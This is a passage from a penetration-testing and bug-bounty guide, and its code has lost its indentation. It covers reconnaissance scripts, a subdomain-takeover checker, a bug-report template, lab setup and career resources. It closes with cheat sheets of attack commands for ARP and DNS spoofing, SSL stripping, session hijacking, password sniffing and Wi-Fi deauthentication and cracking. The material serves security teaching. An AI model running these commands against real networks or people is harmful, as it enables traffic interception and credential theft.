answers = dns.resolver.query(f'{sub}.{domain}', 'CNAME')
for cname in answers:
target = str(cname.target)
# Check if target is available for registration
try:
dns.resolver.query(target, 'A')
except dns.resolver.NXDOMAIN:
findings.append({
'type': 'subdomain_takeover',
'severity': 'high',
'details': f'{sub}.{domain} points to unregistered domain {target}'
})
except:
pass
return findingsCloud Infrastructure Scanner:
def scan_cloud_exposure(domain):
"""Scan for exposed cloud resources"""
import requests
import socket
findings = []
# Check common cloud services
cloud_services = {
'aws_s3': f'http://{domain}.s3.amazonaws.com',
'aws_s3_alt': f'http://s3.amazonaws.com/{domain}',
'aws_cloudfront': f'http://{domain}.cloudfront.net',
'azure_blob': f'http://{domain}.blob.core.windows.net',
'gcp_storage': f'http://storage.googleapis.com/{domain}',
'heroku': f'http://{domain}.herokuapp.com',
'github_pages': f'http://{domain}.github.io',
'shopify': f'http://{domain}.myshopify.com'
}
for service, url in cloud_services.items():
try:
response = requests.get(url, timeout=5)
if response.status_code == 200:
# Check if it's a valid service or just a placeholder
if 'NoSuchBucket' not in response.text:
findings.append({
'type': 'cloud_exposure',
'service': service,
'url': url,
'status': response.status_code
})
except:
pass
return findingsBug Report Template:
def create_bug_report():
"""Create bug bounty report template"""
report = {
'title': 'Subdomain Takeover on admin.target.com',
'severity': 'High',
'asset': 'admin.target.com (CNAME to expired.herokuapp.com)',
'description': '''The subdomain admin.target.com resolves to a CNAME record
pointing to expired.herokuapp.com. This domain is available for registration
on Heroku. An attacker could register this domain and host malicious content,
potentially stealing credentials or serving malware to users.''',
'steps_to_reproduce': [
'Run DNS enumeration: dig admin.target.com',
'Observe CNAME: admin.target.com. 3600 IN CNAME expired.herokuapp.com',
'Check if domain is available: host expired.herokuapp.com (returns NXDOMAIN)',
'Visit https://www.heroku.com/ to check domain availability',
'Proof of concept: Register domain and host test page (available if needed)'
],
'proof_of_concept': '''```
$ dig admin.target.com
; <<>> DiG 9.16.1-Ubuntu <<>> admin.target.com
;; ANSWER SECTION:
admin.target.com. 3600 IN CNAME expired.herokuapp.com.
$ host expired.herokuapp.com
Host expired.herokuapp.com not found: 3(NXDOMAIN)
```''',
'impact': '''- Phishing attacks against target.com users
- Credential theft
- Malware distribution
- Bypassing security controls (cookie scope, CSP)
- Reputation damage''',
'remediation': '''- Remove dangling DNS records
- Regularly audit DNS records for dead links
- Implement domain ownership verification
- Use monitoring for DNS changes''',
'references': [
'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover',
'https://github.com/EdOverflow/can-i-take-over-xyz'
]
}
return reportContinuous Recon Script:
#!/bin/bash
# recon.sh - Automated reconnaissance for bug bounty
TARGET=$1
mkdir -p $TARGET/{dns,ports,web,screenshots,reports}
echo "[*] Starting reconnaissance for $TARGET"
# DNS Enumeration
echo "[*] DNS Enumeration"
subfinder -d $TARGET -all -o $TARGET/dns/subfinder.txt
amass enum -d $TARGET -o $TARGET/dns/amass.txt
cat $TARGET/dns/*.txt | sort -u > $TARGET/dns/all_subs.txt
# Resolve subdomains
echo "[*] Resolving subdomains"
puredns resolve $TARGET/dns/all_subs.txt -r resolvers.txt -w $TARGET/dns/resolved.txt
# Port scanning
echo "[*] Port scanning"
naabu -list $TARGET/dns/resolved.txt -top-ports 1000 -o $TARGET/ports/naabu.txt
# HTTP probing
echo "[*] HTTP probing"
httpx -l $TARGET/dns/resolved.txt -title -status-code -tech-detect -o $TARGET/web/httpx.txt
# Screenshot websites
echo "[*] Taking screenshots"
gowitness file -f $TARGET/web/httpx.txt --destination $TARGET/screenshots/
# Nuclei scanning
echo "[*] Vulnerability scanning"
nuclei -l $TARGET/dns/resolved.txt -t cves/ -t misconfiguration/ -o $TARGET/reports/nuclei.txt
# Generate report
echo "[*] Generating report"
echo "Reconnaissance complete for $TARGET" > $TARGET/reports/summary.txt
echo "Subdomains found: $(wc -l < $TARGET/dns/all_subs.txt)" >> $TARGET/reports/summary.txt
echo "Live hosts: $(wc -l < $TARGET/dns/resolved.txt)" >> $TARGET/reports/summary.txt
echo "Open ports: $(cat $TARGET/ports/naabu.txt | wc -l)" >> $TARGET/reports/summary.txt
echo "Vulnerabilities found: $(grep -c "\[" $TARGET/reports/nuclei.txt)" >> $TARGET/reports/summary.txt
echo "[+] Reconnaissance complete!"SSRF to RCE Chain:
def ssrf_to_rce_chain(target_url):
"""Chain SSRF to RCE through internal services"""
import requests
# Step 1: Find SSRF endpoint
ssrf_endpoints = find_ssrf_endpoints(target_url)
for endpoint in ssrf_endpoints:
# Step 2: Scan internal network
internal_hosts = scan_internal_via_ssrf(endpoint)
for host in internal_hosts:
# Step 3: Check for vulnerable services
if host['port'] == 6379: # Redis
# Step 4: Exploit Redis via SSRF
exploit_redis_ssrf(endpoint, host)
elif host['port'] == 9200: # Elasticsearch
# Step 4: Exploit Elasticsearch
exploit_elasticsearch_ssrf(endpoint, host)
elif host['port'] == 3306: # MySQL
# Step 4: Attempt MySQL exploitation
exploit_mysql_ssrf(endpoint, host)Disclosure Process:
def responsible_disclosure(finding, vendor_contact):
"""Handle responsible disclosure process"""
steps = [
{
'step': 1,
'action': 'Verify finding is valid and not already known',
'checklist': [
'Test in isolated environment',
'Check public vulnerability databases',
'Ensure no data exfiltration beyond PoC'
]
},
{
'step': 2,
'action': 'Contact vendor through official channels',
'checklist': [
'Use security@ or bug bounty program',
'Provide clear, actionable report',
'Include proof of concept without damage',
'Offer reasonable timeline for response'
]
},
{
'step': 3,
'action': 'Allow time for remediation',
'checklist': [
'Typical timeline: 30-90 days',
'Be responsive to vendor questions',
'Offer clarification and assistance'
]
},
{
'step': 4,
'action': 'Coordinate disclosure',
'checklist': [
'Agree on disclosure date',
'Provide draft of public disclosure',
'Credit researchers appropriately',
'Include remediation information'
]
}
]
return stepsCertification Paths:
def certification_roadmap():
"""Map out certification progression"""
certifications = {
'foundational': [
{
'name': 'CompTIA Network+',
'focus': 'Networking fundamentals',
'difficulty': 'Beginner',
'time': '2-3 months'
},
{
'name': 'CompTIA Security+',
'focus': 'Security fundamentals',
'difficulty': 'Beginner',
'time': '2-3 months'
},
{
'name': 'Cisco CCNA',
'focus': 'Network engineering',
'difficulty': 'Intermediate',
'time': '4-6 months'
}
],
'penetration_testing': [
{
'name': 'eLearnSecurity eJPT',
'focus': 'Junior penetration testing',
'difficulty': 'Beginner-Intermediate',
'time': '2-3 months',
'hands_on': True
},
{
'name': 'OSCP (Offensive Security Certified Professional)',
'focus': 'Penetration testing',
'difficulty': 'Intermediate',
'time': '3-6 months',
'hands_on': True
},
{
'name': 'PNPT (Practical Network Penetration Tester)',
'focus': 'Network penetration testing',
'difficulty': 'Intermediate',
'time': '3-4 months',
'hands_on': True
},
{
'name': 'GPEN (GIAC Penetration Tester)',
'focus': 'Penetration testing methodology',
'difficulty': 'Intermediate',
'time': '4-6 months'
}
],
'advanced': [
{
'name': 'OSCE (Offensive Security Certified Expert)',
'focus': 'Advanced exploitation',
'difficulty': 'Advanced',
'time': '6-12 months',
'hands_on': True
},
{
'name': 'GXPN (GIAC Exploit Researcher)',
'focus': 'Advanced exploitation',
'difficulty': 'Advanced',
'time': '6-12 months'
},
{
'name': 'OSED (Offensive Security Exploit Developer)',
'focus': 'Windows exploit development',
'difficulty': 'Advanced',
'time': '6-12 months',
'hands_on': True
},
{
'name': 'OSEP (Offensive Security Experienced Penetration Tester)',
'focus': 'Advanced penetration testing',
'difficulty': 'Advanced',
'time': '6-12 months',
'hands_on': True
}
],
'specialized': [
{
'name': 'AWS Certified Security - Specialty',
'focus': 'Cloud security',
'difficulty': 'Intermediate-Advanced',
'time': '3-6 months'
},
{
'name': 'Certified Kubernetes Security Specialist',
'focus': 'Container security',
'difficulty': 'Intermediate-Advanced',
'time': '3-6 months'
},
{
'name': 'Cisco CCNP Security',
'focus': 'Network security',
'difficulty': 'Advanced',
'time': '6-12 months'
}
]
}
return certificationsComprehensive Lab Setup:
def setup_pentest_lab():
"""Guide to setting up penetration testing lab"""
lab_components = {
'virtualization': {
'software': [
'VMware Workstation/Player',
'VirtualBox',
'Proxmox VE',
'ESXi'
],
'requirements': '16-32GB RAM, 200GB+ storage, modern CPU with VT-x/AMD-V'
},
'attack_platforms': [
{
'name': 'Kali Linux',
'purpose': 'Primary attack OS',
'resources': '4GB RAM, 40GB storage'
},
{
'name': 'Parrot OS',
'purpose': 'Alternative attack OS',
'resources': '4GB RAM, 40GB storage'
},
{
'name': 'BlackArch',
'purpose': 'Arch-based penetration testing',
'resources': '4GB RAM, 40GB storage'
},
{
'name': 'Commando VM',
'purpose': 'Windows attack platform',
'resources': '8GB RAM, 80GB storage'
}
],
'target_vms': [
{
'name': 'Metasploitable 2',
'purpose': 'Linux vulnerable target',
'resources': '512MB RAM, 8GB storage',
'difficulty': 'Beginner'
},
{
'name': 'Metasploitable 3',
'purpose': 'Windows/Linux vulnerable target',
'resources': '2GB RAM, 20GB storage',
'difficulty': 'Intermediate'
},
{
'name': 'DVWA (Damn Vulnerable Web Application)',
'purpose': 'Web application training',
'resources': '1GB RAM, 10GB storage',
'difficulty': 'Beginner'
},
{
'name': 'WebGoat',
'purpose': 'Web application training',
'resources': '2GB RAM, 10GB storage',
'difficulty': 'Beginner-Intermediate'
},
{
'name': 'VulnHub machines',
'purpose': 'Various vulnerable VMs',
'resources': 'Varies',
'difficulty': 'Varies'
},
{
'name': 'HackTheBox machines',
'purpose': 'Online vulnerable machines',
'resources': 'VPN connection required',
'difficulty': 'Varies'
}
],
'network_devices': [
{
'name': 'pfSense',
'purpose': 'Firewall/router',
'resources': '1GB RAM, 8GB storage'
},
{
'name': 'GNS3',
'purpose': 'Network device emulation',
'resources': '8GB+ RAM for complex topologies'
},
{
'name': 'EVE-NG',
'purpose': 'Network emulation',
'resources': '8GB+ RAM, 100GB+ storage'
},
{
'name': 'Cisco IOS images',
'purpose': 'Router/switch emulation',
'resources': 'Included in GNS3/EVE-NG'
}
],
'network_configuration': {
'host_only': 'Isolated network for safe testing',
'nat': 'Internet access for updates',
'internal': 'Multiple isolated networks',
'custom_topologies': 'Create complex enterprise networks'
},
'sample_topology': '''
Internet
|
[pfSense Firewall]
|
[DMZ Network] [Internal Network]
| |
[Web Server] [Domain Controller]
[Mail Server] [Workstations]
[File Server]
'''
}
return lab_componentsOnline Practice Resources:
def practice_platforms():
"""List online practice platforms"""
platforms = {
'ctf_platforms': [
{
'name': 'HackTheBox',
'url': 'https://www.hackthebox.com',
'focus': 'Penetration testing challenges',
'difficulty': 'Beginner-Expert',
'cost': 'Free with paid options'
},
{
'name': 'TryHackMe',
'url': 'https://tryhackme.com',
'focus': 'Guided learning paths',
'difficulty': 'Beginner-Intermediate',
'cost': 'Free with paid options'
},
{
'name': 'VulnHub',
'url': 'https://www.vulnhub.com',
'focus': 'Vulnerable VM downloads',
'difficulty': 'Varies',
'cost': 'Free'
},
{
'name': 'PentesterLab',
'url': 'https://pentesterlab.com',
'focus': 'Web application security',
'difficulty': 'Intermediate',
'cost': 'Paid'
},
{
'name': 'PortSwigger Web Security Academy',
'url': 'https://portswigger.net/web-security',
'focus': 'Web application security',
'difficulty': 'Beginner-Advanced',
'cost': 'Free'
}
],
'network_specific': [
{
'name': 'INE',
'url': 'https://ine.com',
'focus': 'Network training and labs',
'difficulty': 'Beginner-Expert',
'cost': 'Paid'
},
{
'name': 'Cisco DevNet',
'url': 'https://developer.cisco.com',
'focus': 'Network automation and security',
'difficulty': 'Intermediate',
'cost': 'Free'
},
{
'name': 'Cloud Academy',
'url': 'https://cloudacademy.com',
'focus': 'Cloud networking',
'difficulty': 'Intermediate',
'cost': 'Paid'
}
],
'competitions': [
{
'name': 'DEF CON CTF',
'url': 'https://defcon.org',
'focus': 'Advanced CTF',
'frequency': 'Annual'
},
{
'name': 'BSides CTF',
'url': 'https://www.securitybsides.com',
'focus': 'Various CTFs',
'frequency': 'Multiple events'
},
{
'name': 'picoCTF',
'url': 'https://picoctf.org',
'focus': 'Educational CTF',
'frequency': 'Annual'
}
]
}
return platformsSecurity News and Research:
def security_resources():
"""List security news and research sources"""
resources = {
'news_sites': [
{
'name': 'The Daily Swig',
'url': 'https://portswigger.net/daily-swig',
'focus': 'Security news'
},
{
'name': 'Krebs on Security',
'url': 'https://krebsonsecurity.com',
'focus': 'Security news and investigations'
},
{
'name': 'Schneier on Security',
'url': 'https://www.schneier.com',
'focus': 'Security commentary'
},
{
'name': 'Threatpost',
'url': 'https://threatpost.com',
'focus': 'Security news'
},
{
'name': 'Dark Reading',
'url': 'https://www.darkreading.com',
'focus': 'Security news'
},
{
'name': 'The Hacker News',
'url': 'https://thehackernews.com',
'focus': 'Security news'
}
],
'research_blogs': [
{
'name': 'Google Project Zero',
'url': 'https://googleprojectzero.blogspot.com',
'focus': 'Advanced vulnerability research'
},
{
'name': 'Microsoft Security Response Center',
'url': 'https://msrc-blog.microsoft.com',
'focus': 'Microsoft security'
},
{
'name': 'Cloudflare Blog',
'url': 'https://blog.cloudflare.com',
'focus': 'Network security and CDN'
},
{
'name': 'AWS Security Blog',
'url': 'https://aws.amazon.com/blogs/security',
'focus': 'Cloud security'
},
{
'name': 'SANS Internet Storm Center',
'url': 'https://isc.sans.edu',
'focus': 'Threat intelligence'
},
{
'name': 'Unit 42 (Palo Alto)',
'url': 'https://unit42.paloaltonetworks.com',
'focus': 'Threat research'
}
],
'vulnerability_databases': [
{
'name': 'CVE Details',
'url': 'https://www.cvedetails.com',
'focus': 'CVE search'
},
{
'name': 'NVD (National Vulnerability Database)',
'url': 'https://nvd.nist.gov',
'focus': 'Official CVE database'
},
{
'name': 'Exploit-DB',
'url': 'https://www.exploit-db.com',
'focus': 'Public exploits'
},
{
'name': 'Packet Storm',
'url': 'https://packetstormsecurity.com',
'focus': 'Security tools and papers'
},
{
'name': 'CXSECURITY',
'url': 'https://cxsecurity.com',
'focus': 'Vulnerability database'
}
],
'podcasts': [
{
'name': 'Security Now',
'focus': 'Security news and discussion'
},
{
'name': 'Darknet Diaries',
'focus': 'True stories from security world'
},
{
'name': 'Risky Business',
'focus': 'Security news and interviews'
},
{
'name': 'The CyberWire',
'focus': 'Daily security news'
},
{
'name': 'Hacking Humans',
'focus': 'Social engineering'
}
],
'youtube_channels': [
{
'name': 'IppSec',
'focus': 'HackTheBox walkthroughs'
},
{
'name': 'The Cyber Mentor',
'focus': 'Penetration testing tutorials'
},
{
'name': 'STÖK',
'focus': 'Bug bounty hunting'
},
{
'name': 'John Hammond',
'focus': 'CTF and malware analysis'
},
{
'name': 'LiveOverflow',
'focus': 'Advanced security concepts'
}
],
'conferences': [
{
'name': 'DEF CON',
'url': 'https://defcon.org',
'focus': 'Largest hacking conference'
},
{
'name': 'Black Hat',
'url': 'https://www.blackhat.com',
'focus': 'Professional security conference'
},
{
'name': 'BSides',
'url': 'https://www.securitybsides.com',
'focus': 'Community security events'
},
{
'name': 'RSA Conference',
'url': 'https://www.rsaconference.com',
'focus': 'Enterprise security'
},
{
'name': 'ShmooCon',
'url': 'https://shmoocon.org',
'focus': 'Hacking conference'
}
]
}
return resourcesSecurity Communities:
def security_communities():
"""List security communities and forums"""
communities = {
'reddit': [
'r/netsec',
'r/AskNetsec',
'r/cybersecurity',
'r/hacking',
'r/netsecstudents',
'r/bugbounty',
'r/HowToHack',
'r/securityCTF'
],
'discord_servers': [
{
'name': 'The Cyber Mentor',
'focus': 'Penetration testing'
},
{
'name': 'NahamSec',
'focus': 'Bug bounty'
},
{
'name': 'HackTheBox',
'focus': 'CTF and hacking'
},
{
'name': 'TryHackMe',
'focus': 'Learning security'
},
{
'name': 'InfoSec Community',
'focus': 'General security'
}
],
'forums': [
{
'name': 'Hack Forums',
'url': 'https://hackforums.net',
'focus': 'General hacking'
},
{
'name': '0x00sec',
'url': 'https://0x00sec.org',
'focus': 'Security research'
},
{
'name': 'Pentester Academy',
'url': 'https://forums.pentesteracademy.com',
'focus': 'Learning'
},
{
'name': 'Stack Overflow - Information Security',
'url': 'https://security.stackexchange.com',
'focus': 'Q&A'
}
],
'slack_groups': [
{
'name': 'OWASP Slack',
'focus': 'Web application security'
},
{
'name': 'InfoSec Professionals',
'focus': 'General security'
},
{
'name': 'Security Weekly',
'focus': 'Security news'
}
],
'twitter_follows': [
'@thecybermentor',
'@NahamSec',
'@ippsec',
'@STOKfredrik',
'@troyhunt',
'@mikeprivette',
'@gynvael',
'@SwiftOnSecurity',
'@malwareunicorn',
'@hacks4pancakes'
]
}
return communitiesLab Automation Script:
#!/usr/bin/env python3
"""
Automated penetration testing lab setup
"""
import subprocess
import os
import json
import time
class PenTestLab:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)
self.lab_dir = self.config.get('lab_dir', './pentest_lab')
os.makedirs(self.lab_dir, exist_ok=True)
def install_prerequisites(self):
"""Install required packages"""
print("[*] Installing prerequisites...")
packages = [
'python3-pip',
'git',
'wget',
'curl',
'docker.io',
'docker-compose',
'virtualbox',
'vagrant'
]
subprocess.run(['sudo', 'apt', 'update'])
subprocess.run(['sudo', 'apt', 'install', '-y'] + packages)
# Install Python packages
python_packages = [
'scapy',
'requests',
'paramiko',
'python-nmap',
'dnspython',
'netifaces'
]
subprocess.run(['pip3', 'install'] + python_packages)
print("[+] Prerequisites installed")
def setup_docker_lab(self):
"""Set up Docker-based lab environment"""
print("[*] Setting up Docker lab...")
docker_compose = """
version: '3'
services:
dvwa:
image: vulnerables/web-dvwa
ports:
- "8080:80"
networks:
- lab_net
webgoat:
image: webgoat/goatandwolf
ports:
- "8081:8080"
networks:
- lab_net
metasploitable:
image: tleemcjr/metasploitable2
ports:
- "2222:22"
- "8082:80"
networks:
- lab_net
juice-shop:
image: bkimminich/juice-shop
ports:
- "3000:3000"
networks:
- lab_net
networks:
lab_net:
driver: bridge
"""
with open(f"{self.lab_dir}/docker-compose.yml", 'w') as f:
f.write(docker_compose)
subprocess.run(['docker-compose', '-f', f"{self.lab_dir}/docker-compose.yml", 'up', '-d'])
print("[+] Docker lab started")
def setup_vagrant_lab(self):
"""Set up Vagrant-based lab environment"""
print("[*] Setting up Vagrant lab...")
vagrantfile = """
Vagrant.configure("2") do |config|
# Kali Linux (attack machine)
config.vm.define "kali" do |kali|
kali.vm.box = "kalilinux/rolling"
kali.vm.network "private_network", type: "dhcp"
kali.vm.provider "virtualbox" do |vb|
vb.memory = "4096"
vb.cpus = 2
end
end
# Metasploitable (target)
config.vm.define "metasploitable" do |msf|
msf.vm.box = "rapid7/metasploitable3-ub1404"
msf.vm.network "private_network", type: "dhcp"
msf.vm.provider "virtualbox" do |vb|
vb.memory = "1024"
vb.cpus = 1
end
end
# Windows target
config.vm.define "windows" do |win|
win.vm.box = "rapid7/metasploitable3-win2k8"
win.vm.network "private_network", type: "dhcp"
win.vm.provider "virtualbox" do |vb|
vb.memory = "2048"
vb.cpus = 2
end
end
# pfSense firewall
config.vm.define "pfsense" do |pf|
pf.vm.box = "pfsense/pfsense-2.4.4-RELEASE"
pf.vm.network "private_network", type: "dhcp"
pf.vm.provider "virtualbox" do |vb|
vb.memory = "512"
vb.cpus = 1
end
end
end
"""
with open(f"{self.lab_dir}/Vagrantfile", 'w') as f:
f.write(vagrantfile)
subprocess.run(['vagrant', 'up'], cwd=self.lab_dir)
print("[+] Vagrant lab started")
def setup_network(self):
"""Configure lab network"""
print("[*] Setting up lab network...")
# Create virtual network
subprocess.run([
'sudo', 'ip', 'link', 'add', 'name', 'lab-bridge',
'type', 'bridge'
])
subprocess.run([
'sudo', 'ip', 'addr', 'add', '192.168.100.1/24',
'dev', 'lab-bridge'
])
subprocess.run(['sudo', 'ip', 'link', 'set', 'lab-bridge', 'up'])
print("[+] Lab network configured")
def setup_tools(self):
"""Install additional security tools"""
print("[*] Installing security tools...")
tools = [
# Clone popular security tools
('git', 'clone', 'https://github.com/danielmiessler/SecLists.git'),
('git', 'clone', 'https://github.com/aboul3la/Sublist3r.git'),
('git', 'clone', 'https://github.com/OWASP/Amass.git'),
('git', 'clone', 'https://github.com/projectdiscovery/nuclei.git'),
('git', 'clone', 'https://github.com/sqlmapproject/sqlmap.git'),
]
for tool in tools:
try:
subprocess.run(tool, cwd=self.lab_dir)
except:
pass
print("[+] Tools installed")
def run(self):
"""Execute full lab setup"""
print("=== Starting Penetration Testing Lab Setup ===")
self.install_prerequisites()
self.setup_network()
self.setup_docker_lab()
self.setup_vagrant_lab()
self.setup_tools()
print("\n=== Lab Setup Complete ===")
print(f"Lab directory: {self.lab_dir}")
print("Services started:")
print(" - DVWA: http://localhost:8080")
print(" - WebGoat: http://localhost:8081")
print(" - Metasploitable2: http://localhost:8082")
print(" - Juice Shop: http://localhost:3000")
print("\nVagrant VMs: run 'vagrant status' in lab directory")
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="Pentest Lab Setup")
parser.add_argument("-c", "--config", default="lab_config.json", help="Config file")
args = parser.parse_args()
lab = PenTestLab(args.config)
lab.run()Contribution Opportunities:
def contribution_guide():
"""Guide to contributing to security community"""
opportunities = {
'tools_development': [
{
'name': 'Nmap',
'url': 'https://github.com/nmap/nmap',
'skills': 'C, Lua',
'how_to': 'Add new scripts, fix bugs, improve documentation'
},
{
'name': 'Metasploit',
'url': 'https://github.com/rapid7/metasploit-framework',
'skills': 'Ruby',
'how_to': 'Add new modules, improve existing ones, write documentation'
},
{
'name': 'Wireshark',
'url': 'https://github.com/wireshark/wireshark',
'skills': 'C, Lua',
'how_to': 'Add dissectors, fix bugs, improve UI'
},
{
'name': 'Burp Suite Extensions',
'url': 'https://github.com/PortSwigger',
'skills': 'Java, Python',
'how_to': 'Create BApp extensions for specific testing needs'
},
{
'name': 'OWASP Projects',
'url': 'https://github.com/OWASP',
'skills': 'Varies',
'how_to': 'Contribute to various security tools and documentation'
}
],
'documentation': [
{
'name': 'OWASP Cheat Sheets',
'url': 'https://github.com/OWASP/CheatSheetSeries',
'skills': 'Technical writing',
'how_to': 'Write or update security cheat sheets'
},
{
'name': 'Exploit-DB',
'url': 'https://github.com/offensive-security/exploitdb',
'skills': 'Research',
'how_to': 'Submit new exploits or update existing ones'
},
{
'name': 'SecLists',
'url': 'https://github.com/danielmiessler/SecLists',
'skills': 'Wordlist creation',
'how_to': 'Add new wordlists for specific testing scenarios'
}
],
'research_sharing': [
{
'name': 'Write blog posts',
'platforms': ['Medium', 'Dev.to', 'Personal blog'],
'topics': ['New techniques', 'Tool tutorials', 'Case studies']
},
{
'name': 'Present at conferences',
'events': ['BSides', 'DEF CON groups', 'Local meetups'],
'topics': ['Research findings', 'Novel attacks', 'Defense strategies']
},
{
'name': 'Create video content',
'platforms': ['YouTube', 'Twitch'],
'content': ['Walkthroughs', 'Tutorials', 'Live hacking']
}
],
'community_support': [
{
'name': 'Answer questions',
'platforms': ['Stack Overflow', 'Reddit', 'Discord'],
'help_with': ['Troubleshooting', 'Learning guidance', 'Tool usage']
},
{
'name': 'Mentor beginners',
'platforms': ['Local meetups', 'Online communities'],
'activities': ['Code reviews', 'Career advice', 'Technical guidance']
},
{
'name': 'Report vulnerabilities',
'programs': ['Bug bounty', 'Responsible disclosure'],
'best_practices': ['Clear reporting', 'Proof of concept', 'Remediation help']
}
]
}
return opportunitiesSpecialization Paths:
def specialization_paths():
"""Map out security specialization paths"""
paths = {
'network_security': {
'focus': 'Network infrastructure security',
'roles': [
'Network Security Engineer',
'Network Penetration Tester',
'Firewall Administrator',
'Network Architect'
],
'skills': [
'TCP/IP deep understanding',
'Routing protocols',
'Firewall configuration',
'IDS/IPS deployment',
'Network segmentation',
'VPN technologies'
],
'certifications': [
'CCNP Security',
'Cisco CCIE Security',
'CompTIA Network+',
'GIAC GCIA'
],
'tools': [
'Wireshark',
'Nmap',
'GNS3/EVE-NG',
'pfSense',
'Snort/Suricata'
]
},
'web_application_security': {
'focus': 'Web application and API security',
'roles': [
'Web Application Penetration Tester',
'Application Security Engineer',
'Bug Bounty Hunter',
'DevSecOps Engineer'
],
'skills': [
'HTTP/HTTPS deep understanding',
'Web vulnerabilities (OWASP Top 10)',
'Authentication mechanisms',
'API security',
'JavaScript/Node.js',
'Cloud security'
],
'certifications': [
'OSCP',
'OSWE',
'GWAPT',
'eWPT'
],
'tools': [
'Burp Suite',
'OWASP ZAP',
'SQLMap',
'Nuclei',
'FFUF'
]
},
'cloud_security': {
'focus': 'Cloud infrastructure security',
'roles': [
'Cloud Security Engineer',
'Cloud Penetration Tester',
'DevSecOps Engineer',
'Cloud Architect'
],
'skills': [
'AWS/Azure/GCP services',
'Infrastructure as Code',
'Container security',
'Kubernetes security',
'Serverless security',
'IAM policies'
],
'certifications': [
'AWS Security Specialty',
'CCSP',
'Certified Kubernetes Security Specialist',
'Azure Security Engineer'
],
'tools': [
'ScoutSuite',
'Prowler',
'kube-hunter',
'Trivy',
'CloudSploit'
]
},
'industrial_security': {
'focus': 'OT/ICS/IoT security',
'roles': [
'ICS Security Engineer',
'OT Penetration Tester',
'SCADA Security Specialist',
'IoT Security Researcher'
],
'skills': [
'Industrial protocols (Modbus, DNP3, PROFINET)',
'PLC programming',
'SCADA systems',
'Embedded systems',
'Radio communications'
],
'certifications': [
'GICSP',
'GRID',
'CSSA'
],
'tools': [
'Modbus tools',
'S7Comm tools',
'GRASSMARLIN',
'Shodan',
'Firmware analysis tools'
]
},
'red_team_operations': {
'focus': 'Advanced adversarial simulation',
'roles': [
'Red Team Operator',
'Adversary Simulation Specialist',
'Threat Hunter',
'Purple Team Engineer'
],
'skills': [
'Advanced evasion techniques',
'C2 infrastructure',
'Lateral movement',
'Persistence mechanisms',
'Operational security',
'Reporting and communication'
],
'certifications': [
'OSCP/OSCE/OSEP',
'CREST',
'GXPN',
'PenTest+'
],
'tools': [
'Cobalt Strike',
'Empire',
'Metasploit',
'BloodHound',
'Mimikatz'
]
}
}
return pathsCareer Progression:
def career_roadmap():
"""Map out career progression in network security"""
roadmap = {
'entry_level': {
'roles': [
'Security Analyst',
'Network Administrator',
'IT Support Specialist',
'Junior Penetration Tester'
],
'skills': [
'Basic networking concepts',
'Operating systems',
'Security fundamentals',
'Scripting basics'
],
'certifications': [
'CompTIA Network+',
'CompTIA Security+',
'Cisco CCNA'
],
'experience': '0-2 years',
'salary_range': '$50,000 - $80,000'
},
'mid_level': {
'roles': [
'Penetration Tester',
'Security Engineer',
'Network Security Analyst',
'Vulnerability Assessor'
],
'skills': [
'Advanced networking',
'Penetration testing methodology',
'Tool development',
'Report writing'
],
'certifications': [
'OSCP',
'GPEN',
'CISSP',
'CEH'
],
'experience': '2-5 years',
'salary_range': '$80,000 - $120,000'
},
'senior_level': {
'roles': [
'Senior Penetration Tester',
'Security Consultant',
'Security Architect',
'Red Team Lead'
],
'skills': [
'Advanced exploitation',
'Team leadership',
'Client management',
'Security program development'
],
'certifications': [
'OSCE',
'GXPN',
'CISM',
'SANS SEC660'
],
'experience': '5-8 years',
'salary_range': '$120,000 - $160,000'
},
'expert_level': {
'roles': [
'Principal Security Consultant',
'Security Researcher',
'CISO',
'Security Director'
],
'skills': [
'Thought leadership',
'Strategic planning',
'Business alignment',
'Advanced research'
],
'certifications': [
'CISSP-ISSAP',
'CCISO',
'CISM',
'PhD/Master degree often valuable'
],
'experience': '8+ years',
'salary_range': '$160,000 - $250,000+'
}
}
return roadmapNetwork security for web penetration testing is both a science and an art. The science involves understanding protocols, mastering tools, and following methodologies. The art comes from creative thinking, chaining vulnerabilities, and seeing connections others miss.
The most successful penetration testers and bug bounty hunters combine deep technical knowledge with persistence and creativity. They understand that networks are living systems, constantly evolving with new technologies and new vulnerabilities. They stay curious, continuously learning and adapting.
Remember that with great power comes great responsibility. The skills you've learned in this guide can protect systems or compromise them. Always use them ethically, with proper authorization, and for the purpose of making the digital world more secure.
The journey to becoming an expert network penetration tester never truly ends. Every network is different, every assessment brings new challenges, and every day brings new vulnerabilities to discover and understand. Embrace the journey, stay ethical, and keep learning.
# DNS Enumeration
dig any target.com
nslookup -type=any target.com
host -t any target.com
dnsrecon -d target.com -t std,brt
dnsenum target.com
fierce --domain target.com
# Subdomain Discovery
subfinder -d target.com -all
amass enum -d target.com
assetfinder --subs-only target.com
findomain -t target.com
# Port Scanning
nmap -sS -sV -p- -T4 target.com
masscan -p1-65535 --rate=1000 target.com
rustscan -a target.com -- -sV
naabu -host target.com
# Service Enumeration
nmap -sV --version-intensity 9 -p 80,443,22,21,25 target.com
nc -nv target.com 80 < /dev/null
telnet target.com 80
openssl s_client -connect target.com:443
# Web Enumeration
whatweb target.com
wappalyzer https://target.com
nikto -h https://target.com
gobuster dir -u https://target.com -w wordlist.txt
ffuf -u https://target.com/FUZZ -w wordlist.txt
# SNMP Enumeration
snmpwalk -v2c -c public target.com
snmpcheck -t target.com -c public
onesixtyone -c community.txt -i hosts.txt
# SMB Enumeration
smbclient -L //target.com -N
enum4linux -a target.com
crackmapexec smb target.com
nbtscan target.com/24# ARP Spoofing
arpspoof -i eth0 -t target gateway
ettercap -T -M arp:remote /target// /gateway//
bettercap -eval "set arp.spoof.targets target; arp.spoof on; net.sniff on"
# DNS Spoofing
ettercap -T -M arp -P dns_spoof /target// /gateway//
bettercap -eval "set dns.spoof.domains target.com; dns.spoof on"
# SSL Stripping
sslstrip -l 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
# Session Hijacking
ferret -i eth0
hamster
urlsnarf -i eth0
dsniff -i eth0
# Password Sniffing
dsniff -i eth0
msgsnarf -i eth0
tcpdump -i eth0 -A -s 0 'tcp port 80'
# Wireless Attacks
airodump-ng wlan0
aireplay-ng -0 10 -a AP_MAC -c CLIENT_MAC wlan0
aircrack-ng -w wordlist.txt capture.cap
